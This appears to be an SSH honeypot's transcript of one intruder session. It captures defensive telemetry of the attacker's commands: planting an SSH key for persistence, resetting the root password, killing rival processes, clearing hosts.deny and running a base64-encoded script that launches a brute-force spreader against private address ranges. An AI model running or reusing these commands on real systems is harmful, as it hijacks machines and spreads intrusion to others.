sshoney · ssh honeypot telemetry

Client

Credentials attempted

Samples captured

Transcript

05:00:29 $ cd ~; chattr -ia .ssh; lockr -ia .ssh
05:00:30 $ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
05:00:36 $ cat /proc/cpuinfo | grep name | wc -l
         8
05:00:37 $ echo "root:9exLzm2gmtBl"|chpasswd|bash
05:00:37 $ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
05:00:38 $ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
         AMD EPYC 7713 64-Core Processor
05:00:39 $ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
         15888 11234 4654 0 0 0  (804ms)
05:00:40 $ ls -lh $(which ls)
         -rwxr-xr-x 1 root root 133K Apr 23  2026 /usr/bin/ls  (828ms)
05:00:42 $ crontab -l
         crontab -l
05:00:42 $ w
          05:00:42 up 6 days,  1:50,  0 user,  load average: 0.14, 0.13, 0.16
         USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
05:00:43 $ uname -m
         x86_64
05:00:43 $ cat /proc/cpuinfo | grep model | grep name | wc -l
         8
05:00:44 $ top
         top - 05:00:44 up 6 days,  1:50,  0 user,  load average: 0.14, 0.13, 0.16
         Tasks: 119 total,   1 running, 118 sleeping,   0 stopped,   0 zombie
         %Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st
         MiB Mem :    15888 total,    6196 free,    9691 used
         MiB Swap:    4095 total,    4095 free,        0 used
         
             PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
               1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd
             742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx
             889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres
            1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node
         ^C
05:00:45 $ uname
         Linux
05:00:45 $ uname -a
         Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
05:00:46 $ whoami
         root
05:00:47 $ lscpu | grep Model
         Model name:                         AMD EPYC 7713 64-Core Processor
         Model name:                         AMD EPYC 7713 64-Core Processor
         Model name:                         AMD EPYC 7713 64-Core Processor
         Model name:                         AMD EPYC 7713 64-Core Processor
         Model name:                         AMD EPYC 7713 64-Core Processor
         Model name:                         AMD EPYC 7713 64-Core Processor
         Model name:                         AMD EPYC 7713 64-Core Processor
         Model name:                         AMD EPYC 7713 64-Core Processor  (1313ms)
05:00:49 $ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
         25G  (668ms)
05:00:55 $ echo "root 123654" > /tmp/up.txt
05:00:55 $ rm -rf /var/tmp/dota*
05:00:58 $ cat /var/tmp/.systemcache436621
         cat: /var/tmp/.systemcache436621: No such file or directory  (515ms)
05:00:59 $ cat /var/tmp/.systemcache436621
         cat: /var/tmp/.systemcache436621: No such file or directory  (473ms)
05:01:00 $ echo "1" > /var/tmp/.systemcache436621
05:01:00 $ cat /var/tmp/.systemcache436621
         cat: /var/tmp/.systemcache436621: No such file or directory  (447ms)
05:01:02 $ cat /var/tmp/.systemcache436621
         cat: /var/tmp/.systemcache436621: No such file or directory  (436ms)
05:01:03 $ sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw" | base64 --decode | bash
05:01:27 $ whoami
         root